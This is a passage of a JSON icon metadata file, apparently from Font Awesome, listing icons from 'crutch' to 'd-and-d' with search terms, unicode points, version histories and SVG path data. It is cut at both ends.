        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309 106c11.4-7 19-19.7 19-34c0-22.1-17.9-40-40-40s-40 17.9-40 40c0 14.4 7.6 27 19 34L209.7 220.6c-9.1 18.2-32.7 23.4-48.6 10.7L72 160c5-6.7 8-15 8-24c0-22.1-17.9-40-40-40S0 113.9 0 136s17.9 40 40 40c.2 0 .5 0 .7 0L86.4 427.4c5.5 30.4 32 52.6 63 52.6H426.6c30.9 0 57.4-22.1 63-52.6L535.3 176c.2 0 .5 0 .7 0c22.1 0 40-17.9 40-40s-17.9-40-40-40s-40 17.9-40 40c0 9 3 17.3 8 24l-89.1 71.3c-15.9 12.7-39.5 7.5-48.6-10.7L309 106z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309 106c11.4-7 19-19.7 19-34c0-22.1-17.9-40-40-40s-40 17.9-40 40c0 14.4 7.6 27 19 34L209.7 220.6c-9.1 18.2-32.7 23.4-48.6 10.7L72 160c5-6.7 8-15 8-24c0-22.1-17.9-40-40-40S0 113.9 0 136s17.9 40 40 40c.2 0 .5 0 .7 0L86.4 427.4c5.5 30.4 32 52.6 63 52.6H426.6c30.9 0 57.4-22.1 63-52.6L535.3 176c.2 0 .5 0 .7 0c22.1 0 40-17.9 40-40s-17.9-40-40-40s-40 17.9-40 40c0 9 3 17.3 8 24l-89.1 71.3c-15.9 12.7-39.5 7.5-48.6-10.7L309 106z"
      }
    },
    "free": ["solid"]
  },
  "crutch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f7"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cane", "injury", "mobility", "wheelchair"]
    },
    "styles": ["solid"],
    "unicode": "f7f7",
    "label": "Crutch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M297.4 9.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0zm-96 144l-34.8 34.8c-12.9 12.9-21.9 29.2-25.8 47.1L116.8 342.9c-1.3 5.9-4.3 11.4-8.6 15.7L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l98.8-98.8c4.3-4.3 9.7-7.3 15.7-8.6l107.6-23.9c17.8-4 34.1-12.9 47.1-25.8l34.7-34.7c0 0 .1-.1 .1-.1s.1-.1 .1-.1l74.6-74.6-45.3-45.3L336 242.7 269.3 176l52.1-52.1L276.1 78.6l-74.7 74.7zM224 221.3L290.7 288l-12.2 12.2c-4.3 4.3-9.7 7.3-15.7 8.6l-76.7 17 17-76.7c1.3-5.9 4.3-11.4 8.6-15.7L224 221.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M297.4 9.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0zm-96 144l-34.8 34.8c-12.9 12.9-21.9 29.2-25.8 47.1L116.8 342.9c-1.3 5.9-4.3 11.4-8.6 15.7L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l98.8-98.8c4.3-4.3 9.7-7.3 15.7-8.6l107.6-23.9c17.8-4 34.1-12.9 47.1-25.8l34.7-34.7c0 0 .1-.1 .1-.1s.1-.1 .1-.1l74.6-74.6-45.3-45.3L336 242.7 269.3 176l52.1-52.1L276.1 78.6l-74.7 74.7zM224 221.3L290.7 288l-12.2 12.2c-4.3 4.3-9.7 7.3-15.7 8.6l-76.7 17 17-76.7c1.3-5.9 4.3-11.4 8.6-15.7L224 221.3z"
      }
    },
    "free": ["solid"]
  },
  "cruzeiro-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cruzeiro Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e152",
    "label": "Cruzeiro Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 256c0-88.4 71.6-160 160-160c41 0 78.3 15.4 106.7 40.7c13.2 11.8 33.4 10.7 45.2-2.5s10.7-33.4-2.5-45.2c-39.6-35.5-92-57-149.3-57C132.3 32 32 132.3 32 256s100.3 224 224 224c57.4 0 109.7-21.6 149.3-57c13.2-11.8 14.3-32 2.5-45.2s-32-14.3-45.2-2.5C334.3 400.6 297 416 256 416V320v-8.7c0-12.8 10.4-23.3 23.3-23.3c4.6 0 9.1 1.4 12.9 3.9l10.1 6.7c14.7 9.8 34.6 5.8 44.4-8.9s5.8-34.6-8.9-44.4l-10.1-6.7c-14.3-9.6-31.2-14.7-48.4-14.7c-12.4 0-24.2 2.6-34.9 7.3c-5.5-4.5-12.6-7.3-20.3-7.3c-17.7 0-32 14.3-32 32v55.3V320v82.7C135.5 378 96 321.6 96 256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 256c0-88.4 71.6-160 160-160c41 0 78.3 15.4 106.7 40.7c13.2 11.8 33.4 10.7 45.2-2.5s10.7-33.4-2.5-45.2c-39.6-35.5-92-57-149.3-57C132.3 32 32 132.3 32 256s100.3 224 224 224c57.4 0 109.7-21.6 149.3-57c13.2-11.8 14.3-32 2.5-45.2s-32-14.3-45.2-2.5C334.3 400.6 297 416 256 416V320v-8.7c0-12.8 10.4-23.3 23.3-23.3c4.6 0 9.1 1.4 12.9 3.9l10.1 6.7c14.7 9.8 34.6 5.8 44.4-8.9s5.8-34.6-8.9-44.4l-10.1-6.7c-14.3-9.6-31.2-14.7-48.4-14.7c-12.4 0-24.2 2.6-34.9 7.3c-5.5-4.5-12.6-7.3-20.3-7.3c-17.7 0-32 14.3-32 32v55.3V320v82.7C135.5 378 96 321.6 96 256z"
      }
    },
    "free": ["solid"]
  },
  "css3": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["code"]
    },
    "styles": ["brands"],
    "unicode": "f13c",
    "label": "CSS 3 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"
      }
    },
    "free": ["brands"]
  },
  "css3-alt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38b",
    "label": "Alternate CSS3 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"
      }
    },
    "free": ["brands"]
  },
  "cube": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["3d", "block", "dice", "package", "square", "tesseract"]
    },
    "styles": ["solid"],
    "unicode": "f1b2",
    "label": "Cube",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M234.5 5.7c13.9-5 29.1-5 43.1 0l192 68.6C495 83.4 512 107.5 512 134.6V377.4c0 27-17 51.2-42.5 60.3l-192 68.6c-13.9 5-29.1 5-43.1 0l-192-68.6C17 428.6 0 404.5 0 377.4V134.6c0-27 17-51.2 42.5-60.3l192-68.6zM256 66L82.3 128 256 190l173.7-62L256 66zm32 368.6l160-57.1v-188L288 246.6v188z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M234.5 5.7c13.9-5 29.1-5 43.1 0l192 68.6C495 83.4 512 107.5 512 134.6V377.4c0 27-17 51.2-42.5 60.3l-192 68.6c-13.9 5-29.1 5-43.1 0l-192-68.6C17 428.6 0 404.5 0 377.4V134.6c0-27 17-51.2 42.5-60.3l192-68.6zM256 66L82.3 128 256 190l173.7-62L256 66zm32 368.6l160-57.1v-188L288 246.6v188z"
      }
    },
    "free": ["solid"]
  },
  "cubes": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b3"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "3d",
        "block",
        "dice",
        "package",
        "pyramid",
        "square",
        "stack",
        "tesseract"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b3",
    "label": "Cubes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M290.8 48.6l78.4 29.7L288 109.5 206.8 78.3l78.4-29.7c1.8-.7 3.8-.7 5.7 0zM136 92.5V204.7c-1.3 .4-2.6 .8-3.9 1.3l-96 36.4C14.4 250.6 0 271.5 0 294.7V413.9c0 22.2 13.1 42.3 33.5 51.3l96 42.2c14.4 6.3 30.7 6.3 45.1 0L288 457.5l113.5 49.9c14.4 6.3 30.7 6.3 45.1 0l96-42.2c20.3-8.9 33.5-29.1 33.5-51.3V294.7c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-1.3-.5-2.6-.9-3.9-1.3V92.5c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-12.8-4.8-26.9-4.8-39.7 0l-96 36.4C150.4 48.4 136 69.3 136 92.5zM392 210.6l-82.4 31.2V152.6L392 121v89.6zM154.8 250.9l78.4 29.7L152 311.7 70.8 280.6l78.4-29.7c1.8-.7 3.8-.7 5.7 0zm18.8 204.4V354.8L256 323.2v95.9l-82.4 36.2zM421.2 250.9c1.8-.7 3.8-.7 5.7 0l78.4 29.7L424 311.7l-81.2-31.1 78.4-29.7zM523.2 421.2l-77.6 34.1V354.8L528 323.2v90.7c0 3.2-1.9 6-4.8 7.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M290.8 48.6l78.4 29.7L288 109.5 206.8 78.3l78.4-29.7c1.8-.7 3.8-.7 5.7 0zM136 92.5V204.7c-1.3 .4-2.6 .8-3.9 1.3l-96 36.4C14.4 250.6 0 271.5 0 294.7V413.9c0 22.2 13.1 42.3 33.5 51.3l96 42.2c14.4 6.3 30.7 6.3 45.1 0L288 457.5l113.5 49.9c14.4 6.3 30.7 6.3 45.1 0l96-42.2c20.3-8.9 33.5-29.1 33.5-51.3V294.7c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-1.3-.5-2.6-.9-3.9-1.3V92.5c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-12.8-4.8-26.9-4.8-39.7 0l-96 36.4C150.4 48.4 136 69.3 136 92.5zM392 210.6l-82.4 31.2V152.6L392 121v89.6zM154.8 250.9l78.4 29.7L152 311.7 70.8 280.6l78.4-29.7c1.8-.7 3.8-.7 5.7 0zm18.8 204.4V354.8L256 323.2v95.9l-82.4 36.2zM421.2 250.9c1.8-.7 3.8-.7 5.7 0l78.4 29.7L424 311.7l-81.2-31.1 78.4-29.7zM523.2 421.2l-77.6 34.1V354.8L528 323.2v90.7c0 3.2-1.9 6-4.8 7.3z"
      }
    },
    "free": ["solid"]
  },
  "cubes-stacked": {
    "changes": ["6.1.0", "6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "cubes", "sugar"]
    },
    "styles": ["solid"],
    "unicode": "e4e6",
    "label": "Cubes Stacked",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 64v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H224c-17.7 0-32 14.3-32 32zM82.7 207c-15.3 8.8-20.5 28.4-11.7 43.7l32 55.4c8.8 15.3 28.4 20.5 43.7 11.7l55.4-32c15.3-8.8 20.5-28.4 11.7-43.7l-32-55.4c-8.8-15.3-28.4-20.5-43.7-11.7L82.7 207zM288 192c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H288zm64 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H352zM160 384v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zM32 352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 64v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H224c-17.7 0-32 14.3-32 32zM82.7 207c-15.3 8.8-20.5 28.4-11.7 43.7l32 55.4c8.8 15.3 28.4 20.5 43.7 11.7l55.4-32c15.3-8.8 20.5-28.4 11.7-43.7l-32-55.4c-8.8-15.3-28.4-20.5-43.7-11.7L82.7 207zM288 192c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H288zm64 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H352zM160 384v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zM32 352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "cuttlefish": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38c",
    "label": "Cuttlefish",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z\"/></svg>",
        "viewBox": [0, 0, 440, 512],
        "width": 440,
        "height": 512,
        "path": "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"
      }
    },
    "free": ["brands"]
  },
  "d": {
    "aliases": {
      "unicodes": {
        "composite": ["64"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter D", "Latin Small Letter D", "letter"]
    },
    "styles": ["solid"],
    "unicode": "44",
    "label": "D",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32h96c123.7 0 224 100.3 224 224s-100.3 224-224 224H64c-35.3 0-64-28.7-64-64V96zm160 0H64V416h96c88.4 0 160-71.6 160-160s-71.6-160-160-160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32h96c123.7 0 224 100.3 224 224s-100.3 224-224 224H64c-35.3 0-64-28.7-64-64V96zm160 0H64V416h96c88.4 0 160-71.6 160-160s-71.6-160-160-160z"
      }
    },
    "free": ["solid"]
  },
  "d-and-d": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38d",
    "label": "Dungeons & Dragons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 